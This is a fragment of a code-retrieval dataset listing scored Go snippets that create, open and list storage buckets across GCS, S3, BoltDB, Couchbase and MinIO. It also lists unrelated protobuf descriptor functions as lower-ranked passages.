"text": "func Bucket_Handler_Get(w http.ResponseWriter ,r *http.Request ,bucket string) (*storage.BucketHandle) {\n\n// IN w : response-writer\n// IN r : request- parameter\n// IN bucket :\n// OUT one : bucket handler\n\n// fmt.Fprintf( w, \"Bucket_Handler_Get start \\n\" )\n\n ctx := context.Background()\n\n\tclient, err := storage.NewClient(ctx)\n\tif err != nil {\n\t http.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn nil\n\t}\n\treturn client.Bucket(bucket)\n}", "title": "" }, { "docid": "6ff0fbf0d0c4d22f175526a43027815e", "score": "0.533119", "text": "func TestTx_Bucket(t *testing.T) {\n\twithOpenDB(func(db *DB, path string) {\n\t\tdb.Update(func(tx *Tx) error {\n\t\t\ttx.CreateBucket([]byte(\"widgets\"))\n\t\t\tb := tx.Bucket([]byte(\"widgets\"))\n\t\t\tassert.NotNil(t, b)\n\t\t\treturn nil\n\t\t})\n\t})\n}", "title": "" }, { "docid": "2a55522a01a2fdd167214f8ae667d6e7", "score": "0.5317718", "text": "func getBucket (vp *viper.Viper) (*gocb.Bucket, interface{}) {\n\n // bucket name\n bucketName := vp.GetString(\"couchbase.bucket\")\n if bucketName == \"\" {\n return &gocb.Bucket{}, \"Bucket name not found in config\"\n }\n\n // host data\n host := vp.GetString(\"couchbase.host\")\n if host == \"\" {\n return &gocb.Bucket{}, \"Host data not found in config\"\n }\n\n // password (optional, if bucket is not password-protected)\n password := vp.GetString(\"couchbase.password\")\n\n // connect to couchbase\n cluster, connErr := gocb.Connect(\"couchbase://\" + host)\n if connErr != nil {\n return &gocb.Bucket{}, \"Connection to Couchbase failed\"\n }\n\n return cluster.OpenBucket(bucketName, password)\n}", "title": "" }, { "docid": "65265ae5f13212b3db8ba0ef5cb22a79", "score": "0.5313845", "text": "func NewObject(bucket string, key string) Object {\n\treturn Object{\n\t\tBucket: bucket,\n\t\tKey: key,\n\t\tnewHeaders: make(map[string]string),\n\t}\n}", "title": "" }, { "docid": "95a5826a05397043e0f6118a26f44029", "score": "0.530458", "text": "func NewBucket(name string, exp time.Duration) (c Bucket, e error) {\n\tc.name = name\n\tc.writer = writeChannel\n\tc.bucket = declare(time.Duration(options.ExpirationTime)*time.Second, time.Duration(2*options.ExpirationTime)*time.Second)\n\tc.cr = make(chan interface{})\n\t// first check for recovery file from normal termination\n\tstatInfo, err := os.Stat(options.RecoveryFolder + name + \".rec\")\n\tif !os.IsNotExist(err) {\n\t\tif (time.Now().Unix() - statInfo.ModTime().Unix()) < options.MaximumAge*60 {\n\t\t\tc.file, e = os.Create(options.WorkingFolder + name + \".data\")\n\t\t\tif f, err := os.Open(options.RecoveryFolder + name + \".rec\"); err == nil {\n\t\t\t\tvar data map[string]Item\n\t\t\t\tdataDecoder := gob.NewDecoder(f)\n\t\t\t\tif err = dataDecoder.Decode(&data); err == nil {\n\t\t\t\t\tfor i, v := range data {\n\t\t\t\t\t\tc.Set(i, fmt.Sprintf(\"%v\", v.Object), exp, true)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tc.bucket = declare(time.Duration(options.ExpirationTime)*time.Second, time.Duration(2*options.ExpirationTime)*time.Second)\n\t\t\t\t}\n\t\t\t\t_ = f.Close()\n\t\t\t}\n\t\t}\n\t\tif e = os.Remove(options.RecoveryFolder + name + \".rec\"); err != nil {\n\t\t\treturn\n\t\t}\n\t\tgo compactHandler(c)\n\t\treturn\n\t}\n\t// check for working file remnants from server crash\n\tstatInfo, err = os.Stat(options.WorkingFolder + name + \".data\")\n\tif !os.IsNotExist(err) {\n\t\tif (time.Now().Unix() - statInfo.ModTime().Unix()) < options.MaximumAge*60 {\n\n\t\t\tif c.file, err = os.Open(options.WorkingFolder + name + \".data\"); err == nil {\n\t\t\t\tscanner := bufio.NewScanner(c.file)\n\t\t\t\tfor scanner.Scan() {\n\t\t\t\t\tvar entry FileData\n\t\t\t\t\tif err := json.Unmarshal([]byte(scanner.Text()), &entry); err == nil {\n\t\t\t\t\t\tc.Update(entry.Key, entry.Value, exp, true)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t_ = c.file.Close()\n\t\t\t}\n\t\t}\n\t\tgo compactHandler(c)\n\t\treturn\n\t}\n\tc.file, e = os.Create(options.WorkingFolder + name + \".data\")\n\tgo compactHandler(c)\n\treturn\n}", "title": "" }, { "docid": "54e8dfe1c134c97dfb2d24cca44a191e", "score": "0.5299236", "text": "func (rd StorageMongodb) getBucket() (*gridfs.Bucket, error) {\r\n\tdb := rd.ClientMongo.Database(rd.DataBaseName)\r\n\topt := options.GridFSBucket().SetName(rd.BucketName)\r\n\tbucket, err := gridfs.NewBucket(db, opt)\r\n\treturn bucket, err\r\n}", "title": "" }, { "docid": "fddb669026c6302dcbafa9ddc6554656", "score": "0.52899337", "text": "func (device *CassDevice)addBucket(varName string, bucket *bucketStruct) error {\n err := device.conn.session.Query(`\n UPDATE var_buckets\n SET endtime = ?\n WHERE device_id = ?\n AND var_name = ?\n AND lod = ?\n AND timeprefix = ?\n `, bucket.EndTime(), device.ID(), varName, bucket.LOD(), bucket.Name()).Consistency(gocql.One).Exec()\n\n if err != nil {\n return err\n }\n return nil\n}", "title": "" }, { "docid": "7c07c7cdee9e74a9bd2e1703f66fe08f", "score": "0.52758515", "text": "func NewBucketDefault() *Bucket {\n\tnow := JSONTimeNow()\n\treturn &Bucket{\n\t\tAccessPermission: TypeBucketPermission(BucketPrivate),\n\t\tCreatedTime: now,\n\t\tModifiedTime: now,\n\t\tSoftDelete: false,\n\t}\n}", "title": "" }, { "docid": "2b2e2e8e0bcaf427ee3534254d99498b", "score": "0.5272051", "text": "func GetBucket(ctx *pulumi.Context,\n\tname string, id pulumi.IDInput, state *BucketState, opts ...pulumi.ResourceOption) (*Bucket, error) {\n\tvar resource Bucket\n\terr := ctx.ReadResource(\"google-native:logging/v2:Bucket\", name, id, state, &resource, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resource, nil\n}", "title": "" }, { "docid": "8d70c21f2edcfbd58a705bffaeafdb2b", "score": "0.52665263", "text": "func (tc *textileClient) createPublicBucket(ctx context.Context, dbId thread.ID, bucketSlug string) (*api_buckets_pb.Root, error) {\n\tlog.Debug(\"Creating a new public bucket\")\n\n\thubCtx, _, err := tc.getBucketContext(ctx, utils.CastDbIDToString(dbId), bucketSlug, true, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tb, err := tc.hb.Create(hubCtx, bc.WithName(bucketSlug), bc.WithPrivate(false))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b.Root, nil\n}", "title": "" }, { "docid": "3b811f1b07e34877e7e855f7e1d61301", "score": "0.5261229", "text": "func Bucket_List ( w http.ResponseWriter ,r *http.Request, project string) ([]string) {\n\n// IN w : response-writer\n// IN r : request- paramete\n// IN project : project-name\n\n// OUT one :\n\n// fmt.Fprintf( w, \"Bucket_List start \\n\" )\n\n// var buckets []string\n\n buckets := make([]string, 0)\n\n\tctx := context.Background()\n\n//\tfmt.Fprintf( w, \"ctx: %v\\n\", ctx)\n\n\tclient, _ := storage.NewClient(ctx)\n\n\tit := client.Buckets(ctx, project)\n\n\tfor {\n\t\tbattrs, err := it.Next()\n\t\tif err == iterator.Done {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil\n\t\t}\n\t\tbuckets = append(buckets, battrs.Name)\n\t}\n\t// [END list_buckets]\n\treturn buckets\n}", "title": "" }, { "docid": "565585647e3891de9637237d56e6977d", "score": "0.52606213", "text": "func (kvs *KVStore) AddBucket(bucket string) error {\n\terr := kvs.db.Update(func(tx *bolt.Tx) error {\n\t\t_, err := tx.CreateBucketIfNotExists([]byte(bucket))\n\t\treturn err\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "ce16505c60327dac66abc2c63b33d78f", "score": "0.5256886", "text": "func (g *GCSClient) NewStorageBucket(ctx context.Context, bucketName, project string) error {\n\tif project == \"\" {\n\t\treturn errors.New(\"a project must be provided\")\n\t}\n\n\tif bucketName == \"\" {\n\t\treturn errors.New(\"a bucket name must be provided\")\n\t}\n\n\tbucket := g.Bucket(bucketName)\n\n\t// For now, this creates a bucket with uniform policy across its objects to make ACL\n\t// and permission management simple instead of object-level granularity that we currently\n\t// do not use anyway.\n\tbucketAttr := &storage.BucketAttrs{\n\t\tBucketPolicyOnly: storage.BucketPolicyOnly{\n\t\t\tEnabled: true,\n\t\t},\n\t}\n\n\treturn bucket.Create(ctx, project, bucketAttr)\n}", "title": "" }, { "docid": "31b4850c3c9892415fe409008cdc63d0", "score": "0.5253406", "text": "func main() {\n\tif len(os.Args) != 2 {\n\t\texitErrorf(\"Bucket name missing!\\nUsage: %s bucket_name\", os.Args[0])\n\t}\n\n\tbucket := os.Args[1]\n\n\t// Initialize a session in us-west-2 that the SDK will use to load\n\t// credentials from the shared credentials file ~/.aws/credentials.\n\tsess, err := session.NewSession(&aws.Config{\n\t\tRegion: aws.String(\"us-west-2\")},\n\t)\n\n\t// Create S3 service client\n\tsvc := s3.New(sess)\n\n\t// Create the S3 Bucket\n\t_, err = svc.CreateBucket(&s3.CreateBucketInput{\n\t\tBucket: aws.String(bucket),\n\t})\n\tif err != nil {\n\t\texitErrorf(\"Unable to create bucket %q, %v\", bucket, err)\n\t}\n\n\t// Wait until bucket is created before finishing\n\tfmt.Printf(\"Waiting for bucket %q to be created...\\n\", bucket)\n\n\terr = svc.WaitUntilBucketExists(&s3.HeadBucketInput{\n\t\tBucket: aws.String(bucket),\n\t})\n\tif err != nil {\n\t\texitErrorf(\"Error occurred while waiting for bucket to be created, %v\", bucket)\n\t}\n\n\tfmt.Printf(\"Bucket %q successfully created\\n\", bucket)\n}", "title": "" }, { "docid": "2eb27652ce49f37460cdfe94ec7464b0", "score": "0.5250108", "text": "func (api BucketAPI) CreateBucket(ctx context.Context, bucketKey, policyKey string) (result BucketDetails, err error) {\n\tbearer, err := api.Authenticate(\"bucket:create\")\n\tif err != nil {\n\t\treturn\n\t}\n\tpath := api.Host + api.BucketAPIPath\n\tresult, err = createBucket(ctx, api.RateLimiter, path, bucketKey, policyKey, bearer.AccessToken)\n\n\treturn\n}", "title": "" }, { "docid": "0b276cd8756325abc93520dd1d2036fd", "score": "0.5238099", "text": "func (caw *APIWrapper) CreateBucket(ctx context.Context, name string, location string) error {\n\tattrs := &gcs.BucketAttrs{\n\t\tLocation: location,\n\t\tName: name,\n\t}\n\n\terr := caw.GCSClient.Bucket(name).Create(ctx, caw.ProjectID, attrs)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Error creating the bucket: %w\", err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5c0506412d386c1d221bfeb6d0751c32", "score": "0.5225353", "text": "func Test_S3BucketExists(t *testing.T) {\n svc := s3.New(LOCALSTACK.CreateAWSSession())\n result, err := svc.ListBuckets(&s3.ListBucketsInput{})\n if err != nil {\n t.Error(err)\n }\n\n if len(result.Buckets) != 1 {\n t.Error(\"The number of buckets returned should be one.\")\n }\n\n if *(result.Buckets[0].Name) != \"examplebucket\" {\n t.Error(\"The only bucket should be named examplebucket.\")\n }\n}", "title": "" }, { "docid": "6d6bc1be228c5c2e6a7642c91a33b0c7", "score": "0.52078384", "text": "func (o *EditStorageOptions) createBucket(bucketURL string, bucket *blob.Bucket) error {\n\tu, err := url.Parse(bucketURL)\n\tif err != nil {\n\t\treturn err\n\t}\n\tswitch u.Scheme {\n\tcase \"gs\":\n\t\treturn o.createGcsBucket(u, bucket)\n\tdefault:\n\t\treturn fmt.Errorf(\"Cannot create a bucket for provider %s\", bucketURL)\n\t}\n}", "title": "" }, { "docid": "7fbc45181bf2a71f0857319ac1aad914", "score": "0.52066237", "text": "func (bc *BoltClient) initializeBucket() {\n\tbc.boltConn.Update(func(tx *bolt.Tx) error {\n\t\t_, err := tx.CreateBucket([]byte(AccountBucketName))\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"create bucket failed: %s\", err)\n\t\t}\n\t\treturn nil\n\t})\n}", "title": "" }, { "docid": "ebc340214ca8414ad43744eca6ed6bc2", "score": "0.52030355", "text": "func (b *buckets) create(key string) (bkt *bucket) {\n\tvar ok bool\n\tb.mux.Lock()\n\tif bkt, ok = b.m[key]; !ok {\n\t\t// Bucket does not exist, create new bucket\n\t\tbkt = newBucket()\n\t\t// Assign new bucket to the bucket map\n\t\tb.m[key] = bkt\n\t}\n\tb.mux.Unlock()\n\treturn\n}", "title": "" }, { "docid": "b656ab99dfc94888893da59200fe9ef9", "score": "0.5201213", "text": "func (ls *ledgerStore) CreateBucket(ctx context.Context, bucket string, b *Bucket) (string, error) {\n\tdefer ls.locker.write(bucket)()\n\tlb, err := ls.createBucket(ctx, bucket, b)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn lb.IpfsHash, nil\n}", "title": "" }, { "docid": "b06d750442423058bcb7b277ad8ef9ed", "score": "0.5200077", "text": "func getBucketInfo(storage StorageAPI, bucket string) (BucketInfo, error) {\n\t// Verify if bucket is valid.\n\tif !IsValidBucketName(bucket) {\n\t\treturn BucketInfo{}, BucketNameInvalid{Bucket: bucket}\n\t}\n\tvi, err := storage.StatVol(bucket)\n\tif err != nil {\n\t\treturn BucketInfo{}, toObjectErr(err, bucket)\n\t}\n\treturn BucketInfo{\n\t\tName: bucket,\n\t\tCreated: vi.Created,\n\t\tTotal: vi.Total,\n\t\tFree: vi.Free,\n\t}, nil\n}", "title": "" }, { "docid": "4b299efdc2d188d7b81f14fbc88e91f5", "score": "0.51970613", "text": "func newGcsStorage(conf *gcsConfig) (*blob.Bucket, error) {\n\tctx := context.Background()\n\n\t// Your GCP credentials.\n\tcreds, err := gcp.DefaultCredentials(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Create an HTTP client.\n\tclient, err := gcp.NewHTTPClient(\n\t\tgcp.DefaultTransport(),\n\t\tgcp.CredentialsTokenSource(creds))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Create a *blob.Bucket.\n\tbucket, err := gcsblob.OpenBucket(ctx, client, conf.bucket, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn blob.PrefixedBucket(bucket, strings.Trim(conf.prefix, \"/\")+\"/\"), nil\n}", "title": "" }, { "docid": "740af0d433d09a7b8b0302648e45c539", "score": "0.5190193", "text": "func TestTx_Bucket(t *testing.T) {\n\tdb := NewTestDB()\n\tdefer db.Close()\n\tdb.Update(func(tx *bolt.Tx) error {\n\t\ttx.CreateBucket([]byte(\"widgets\"))\n\t\tb := tx.Bucket([]byte(\"widgets\"))\n\t\tassert(t, b != nil, \"\")\n\t\treturn nil\n\t})\n}", "title": "" }, { "docid": "8ced41d68f643f3c2b0d63740cc9e3c5", "score": "0.51813513", "text": "func newGCS(ctx context.Context, c *config.GCSChildConfig, client *http.Client, getVersion gcsGetVersionFunc, shortRev gcsShortRevFunc) (*gcsChild, error) {\n\tif err := c.Validate(); err != nil {\n\t\treturn nil, skerr.Wrap(err)\n\t}\n\tstorageClient, err := storage.NewClient(ctx, option.WithHTTPClient(client))\n\tif err != nil {\n\t\treturn nil, skerr.Wrap(err)\n\t}\n\tgcsClient := gcsclient.New(storageClient, c.GcsBucket)\n\trv := &gcsChild{\n\t\tgcs: gcsClient,\n\t\tgcsBucket: c.GcsBucket,\n\t\tgcsPath: c.GcsPath,\n\t\tgetGCSVersion: getVersion,\n\t\tshortRev: shortRev,\n\t}\n\tif c.RevisionIdRegex != \"\" {\n\t\trv.revisionIDRegex, err = regexp.Compile(c.RevisionIdRegex)\n\t\tif err != nil {\n\t\t\treturn nil, skerr.Wrapf(err, \"revision_id_regex is invalid\")\n\t\t}\n\t}\n\treturn rv, nil\n}", "title": "" }, { "docid": "cd1bc366f06aad822e314895cf72e9b2", "score": "0.517181", "text": "func NewGetBucketsRequest(server string, params *GetBucketsParams) (*http.Request, error) {\n\tvar err error\n\n\tqueryUrl := fmt.Sprintf(\"%s/buckets\", server)\n\n\tvar queryStrings []string\n\n\tvar queryParam0 string\n\tif params.Offset != nil {\n\n\t\tqueryParam0, err = styleParam(\"form\", true, \"offset\", *params.Offset)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tqueryStrings = append(queryStrings, queryParam0)\n\t}\n\n\tvar queryParam1 string\n\tif params.Limit != nil {\n\n\t\tqueryParam1, err = styleParam(\"form\", true, \"limit\", *params.Limit)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tqueryStrings = append(queryStrings, queryParam1)\n\t}\n\n\tvar queryParam2 string\n\tif params.Org != nil {\n\n\t\tqueryParam2, err = styleParam(\"form\", true, \"org\", *params.Org)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tqueryStrings = append(queryStrings, queryParam2)\n\t}\n\n\tvar queryParam3 string\n\tif params.OrgID != nil {\n\n\t\tqueryParam3, err = styleParam(\"form\", true, \"orgID\", *params.OrgID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tqueryStrings = append(queryStrings, queryParam3)\n\t}\n\n\tvar queryParam4 string\n\tif params.Name != nil {\n\n\t\tqueryParam4, err = styleParam(\"form\", true, \"name\", *params.Name)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tqueryStrings = append(queryStrings, queryParam4)\n\t}\n\n\tif len(queryStrings) != 0 {\n\t\tqueryUrl += \"?\" + strings.Join(queryStrings, \"&\")\n\t}\n\n\treq, err := http.NewRequest(\"GET\", queryUrl, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif params.ZapTraceSpan != nil {\n\t\tvar headerParam0 string\n\n\t\theaderParam0, err = styleParam(\"simple\", false, \"Zap-Trace-Span\", *params.ZapTraceSpan)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treq.Header.Add(\"Zap-Trace-Span\", headerParam0)\n\t}\n\n\treturn req, nil\n}", "title": "" }, { "docid": "9345d69a8a781a40a48dfeebec69b2ca", "score": "0.51706463", "text": "func TestTx_CreateBucket_NameRequired(t *testing.T) {\n\tdb := NewTestDB()\n\tdefer db.Close()\n\tdb.Update(func(tx *bolt.Tx) error {\n\t\tb, err := tx.CreateBucket(nil)\n\t\tassert(t, b == nil, \"\")\n\t\tequals(t, bolt.ErrBucketNameRequired, err)\n\t\treturn nil\n\t})\n}", "title": "" }, { "docid": "cda4c7d96bc354ce467bf6528f291a4e", "score": "0.51667225", "text": "func constructBucketHandle(bucketName string) (*storage.BucketHandle, error) {\n\tctx, _ := context.WithTimeout(context.Background(), 2*time.Minute)\n\tclient, err := storage.NewClient(ctx)\n\tif err != nil {\n\t\tmetrics.DownloaderErrorCount.With(prometheus.Labels{\"source\": \"Client Setup\"}).Inc()\n\t\treturn nil, err\n\t}\n\treturn client.Bucket(bucketName), nil\n}", "title": "" }, { "docid": "c0a97442cf05305d360846b2ab6554d6", "score": "0.5165942", "text": "func WaitForBucket(t *testing.T, bucketName string, config backend.S3BackendConfig) {\n\n\ts3Config := &aws.Config{\n\t\tCredentials: credentials.NewStaticCredentials(config.AccessKey, config.SecretKey, \"\"),\n\t\tEndpoint: aws.String(config.Host),\n\t\tDisableSSL: aws.Bool(config.DisableSSL),\n\t\tS3ForcePathStyle: aws.Bool(config.S3ForcePathStyle),\n\t}\n\n\tif config.Region != \"\" {\n\t\ts3Config.Region = aws.String(config.Region)\n\t}\n\n\tsess, err := session.NewSession(s3Config)\n\tassert.Nil(t, err)\n\n\tclient := s3.New(sess)\n\n\tfor i := 0; i < 5; i++ {\n\t\tresult, err := client.ListBuckets(&s3.ListBucketsInput{})\n\t\tassert.Nil(t, err)\n\n\t\tfor _, bucket := range result.Buckets {\n\t\t\tif aws.StringValue(bucket.Name) == bucketName {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tlog.Debug(\"Waiting for bucket '%s' ...\", bucketName)\n\n\t\ttime.Sleep(3 * time.Second)\n\t}\n\n\tassert.Fail(t, fmt.Sprintf(\"Bucket '%s' not found !\", bucketName))\n}", "title": "" }, { "docid": "2aa1bdb061ee9374cbe69f024c99fe3c", "score": "0.51584196", "text": "func GetBucketTest(session *mgo.Session, id string) {\n\t_, err := getBucket(session, id)\n\tif err != nil {\n\t\tlog.Fatal(\"error: bucket not found\")\n\t}\n}", "title": "" }, { "docid": "95a8a70e17b0b3e7e5964a532bfa650f", "score": "0.51434165", "text": "func CreateLocalBucket(proxyURL, bucket string) error {\n\tmsg, err := json.Marshal(dfc.ActionMsg{Action: dfc.ActCreateLB})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = HTTPRequest(\"POST\", proxyURL+\"/\"+dfc.Rversion+\"/\"+dfc.Rbuckets+\"/\"+bucket, bytes.NewBuffer(msg))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn waitForLocalBucket(proxyURL, bucket)\n}", "title": "" }, { "docid": "a1a0dde845c324225247c483be48073e", "score": "0.51383936", "text": "func New(iaas iaas.Provider, project, namespace string) *Client {\n\tnamespace = determineNamespace(namespace, iaas.Region())\n\tbucketName, exists, err := determineBucketName(iaas, namespace, project)\n\n\tif !exists && err == nil {\n\t\terr = iaas.CreateBucket(bucketName)\n\t}\n\n\treturn &Client{\n\t\tiaas,\n\t\tproject,\n\t\tnamespace,\n\t\tbucketName,\n\t\texists,\n\t\terr,\n\t\t&Config{},\n\t}\n}", "title": "" }, { "docid": "9d5d3ac0f3700966ee8f986218f64d98", "score": "0.51369214", "text": "func TestTx_CreateBucket_NameRequired(t *testing.T) {\n\twithOpenDB(func(db *DB, path string) {\n\t\tdb.Update(func(tx *Tx) error {\n\t\t\tb, err := tx.CreateBucket(nil)\n\t\t\tassert.Nil(t, b)\n\t\t\tassert.Equal(t, ErrBucketNameRequired, err)\n\t\t\treturn nil\n\t\t})\n\t})\n}", "title": "" }, { "docid": "6fa5720a03ed57bbd61529fec055ba05", "score": "0.5123765", "text": "func (c *Client) newPut(endpoint string, reqBody []byte) (*http.Request, error) {\n\tcurl, err := c.getURL(endpoint)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq, err := http.NewRequest(\"PUT\", curl, bytes.NewReader(reqBody))\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"Failed creating PUT request for %s\", curl)\n\t}\n\treturn req, nil\n}", "title": "" }, { "docid": "9042a81f3474c6de61dad88692d9240f", "score": "0.5121439", "text": "func CreateBucket(svc *s3.S3, bucketName string) error {\n\tlogger.Info(\"Setup: Creating test bucket,\", bucketName)\n\t_, err := svc.CreateBucket(&s3.CreateBucketInput{Bucket: &bucketName})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to create bucket %s, %v\", bucketName, err)\n\t}\n\n\tfmt.Println(\"Setup: Waiting for bucket to exist,\", bucketName)\n\terr = svc.WaitUntilBucketExists(&s3.HeadBucketInput{Bucket: &bucketName})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed waiting for bucket %s to be created, %v\", bucketName, err)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "5dc7154fb6ac65e4948523796784ac6c", "score": "0.5113112", "text": "func (c *Common) createEmptyBucket(ctx context.Context) error {\n\tcl, done := c.Client()\n\tdefer done()\n\tx, err := cl.BucketExists(ctx, c.Bucket)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif x && c.Locking {\n\t\t_, _, _, err := cl.GetBucketObjectLockConfig(ctx, c.Bucket)\n\t\tif err != nil {\n\t\t\tif !c.Clear {\n\t\t\t\treturn errors.New(\"not allowed to clear bucket to re-create bucket with locking\")\n\t\t\t}\n\t\t\tif bvc, err := cl.GetBucketVersioning(ctx, c.Bucket); err == nil {\n\t\t\t\tc.Versioned = bvc.Status == \"Enabled\"\n\t\t\t}\n\t\t\tconsole.Eraseline()\n\t\t\tconsole.Infof(\"\\rClearing Bucket %q to enable locking...\", c.Bucket)\n\t\t\tc.deleteAllInBucket(ctx)\n\t\t\terr = cl.RemoveBucket(ctx, c.Bucket)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\t// Recreate bucket.\n\t\t\tx = false\n\t\t}\n\t}\n\n\tif !x {\n\t\tconsole.Eraseline()\n\t\tconsole.Infof(\"\\rCreating Bucket %q...\", c.Bucket)\n\t\terr := cl.MakeBucket(ctx, c.Bucket, minio.MakeBucketOptions{\n\t\t\tRegion: c.Location,\n\t\t\tObjectLocking: c.Locking,\n\t\t})\n\n\t\t// In client mode someone else may have created it first.\n\t\t// Check if it exists now.\n\t\t// We don't test against a specific error since we might run against many different servers.\n\t\tif err != nil {\n\t\t\tx, err2 := cl.BucketExists(ctx, c.Bucket)\n\t\t\tif err2 != nil {\n\t\t\t\treturn err2\n\t\t\t}\n\t\t\tif !x {\n\t\t\t\t// It still doesn't exits, return original error.\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\tif bvc, err := cl.GetBucketVersioning(ctx, c.Bucket); err == nil {\n\t\tc.Versioned = bvc.Status == \"Enabled\"\n\t}\n\n\tif c.Clear {\n\t\tconsole.Eraseline()\n\t\tconsole.Infof(\"\\rClearing Bucket %q...\", c.Bucket)\n\t\tc.deleteAllInBucket(ctx)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "54b38e1fc967b40d271ce79edc8dfc79", "score": "0.5104625", "text": "func CreateBucketTest(session *mgo.Session) *Bucket {\n\tbucketPart := BucketPart{Name: \"weekly\", Tasks: []string{\"54f41e6a5786752068000003\"}}\n\tbucket := createBucket(session, bucketPart)\n\treturn bucket\n}", "title": "" } ]
c92c5dd3bb406b8e977800fcfb2e35d6
Deprecated: Use GetWorkflowByNameResponse.ProtoReflect.Descriptor instead.
[ { "docid": "190633fa218dc188935305bd47b5db15", "score": "0.7713116", "text": "func (*GetWorkflowByNameResponse) Descriptor() ([]byte, []int) {\n\treturn file_pkg_ingress_get_workflow_name_proto_rawDescGZIP(), []int{1}\n}", "title": "" } ]
[ { "docid": "e02713aa83412b036588addea12f3623", "score": "0.7564462", "text": "func (*GetWorkflowByNameRequest) Descriptor() ([]byte, []int) {\n\treturn file_pkg_ingress_get_workflow_name_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "c9715c558f8de6fddd960c3d9eb5b0e3", "score": "0.6773059", "text": "func (*GetTeamByNameRequest) Descriptor() ([]byte, []int) {\n\treturn file_sports_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "20c04b7aa2450fe41b49fd0f1cb6e8b4", "score": "0.67160434", "text": "func (*GetWorkflowsRequest) Descriptor() ([]byte, []int) {\n\treturn file_vtadmin_proto_rawDescGZIP(), []int{61}\n}", "title": "" }, { "docid": "be3d87fd3087bd6ee09bb485fd9fd30c", "score": "0.6691804", "text": "func (*GetWorkflowRequest) Descriptor() ([]byte, []int) {\n\treturn file_dapr_proto_runtime_v1_dapr_proto_rawDescGZIP(), []int{77}\n}", "title": "" }, { "docid": "3e0cecc4918ffa2bad68dee936a7eb21", "score": "0.66026926", "text": "func (*GetTeamByNameResponse) Descriptor() ([]byte, []int) {\n\treturn file_sports_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "444563afa97032c60de5db471cf87cb9", "score": "0.65929097", "text": "func (*GetWorkflowRequest) Descriptor() ([]byte, []int) {\n\treturn file_vtadmin_proto_rawDescGZIP(), []int{60}\n}", "title": "" }, { "docid": "5ce190db272555b55cf56e509aa8746c", "score": "0.6577715", "text": "func (*GetWorkflowsResponse) Descriptor() ([]byte, []int) {\n\treturn file_vtadmin_proto_rawDescGZIP(), []int{62}\n}", "title": "" }, { "docid": "fd2095b23177211d238622cbbb5c78fd", "score": "0.64980465", "text": "func (*GetWorkflowResponse) Descriptor() ([]byte, []int) {\n\treturn file_dapr_proto_runtime_v1_dapr_proto_rawDescGZIP(), []int{78}\n}", "title": "" }, { "docid": "74f27714e7aa340519a52ff3271a6692", "score": "0.6493615", "text": "func (*RefreshWorkflowTasksResponse) Descriptor() ([]byte, []int) {\n\treturn file_uber_cadence_admin_v1_service_proto_rawDescGZIP(), []int{33}\n}", "title": "" }, { "docid": "e31c01daa7e6d4b5312fc737507b05e4", "score": "0.64627016", "text": "func (*Workflow) Descriptor() ([]byte, []int) {\n\treturn file_proto_clarifai_api_resources_proto_rawDescGZIP(), []int{118}\n}", "title": "" }, { "docid": "9c9348636ab35390840abb95fa4a5449", "score": "0.64052844", "text": "func (*DescribeWorkflowExecutionRequest) Descriptor() ([]byte, []int) {\n\treturn file_uber_cadence_admin_v1_service_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "ec60232cc9c2cf42adb2e3b35778fbef", "score": "0.6386861", "text": "func (*RefreshWorkflowTasksRequest) Descriptor() ([]byte, []int) {\n\treturn file_uber_cadence_admin_v1_service_proto_rawDescGZIP(), []int{32}\n}", "title": "" }, { "docid": "9a1da8f328bc233b8c069f6dbc431cc7", "score": "0.63800323", "text": "func (*PauseWorkflowRequest) Descriptor() ([]byte, []int) {\n\treturn file_dapr_proto_runtime_v1_dapr_proto_rawDescGZIP(), []int{82}\n}", "title": "" }, { "docid": "4c7d1fbb55c4132f7f5739646259c7e8", "score": "0.6352594", "text": "func (*WorkflowResult) Descriptor() ([]byte, []int) {\n\treturn file_proto_clarifai_api_resources_proto_rawDescGZIP(), []int{122}\n}", "title": "" }, { "docid": "b1694211287415618c346e6234cfc6fe", "score": "0.6304911", "text": "func (*DescribeWorkflowExecutionResponse) Descriptor() ([]byte, []int) {\n\treturn file_uber_cadence_admin_v1_service_proto_rawDescGZIP(), 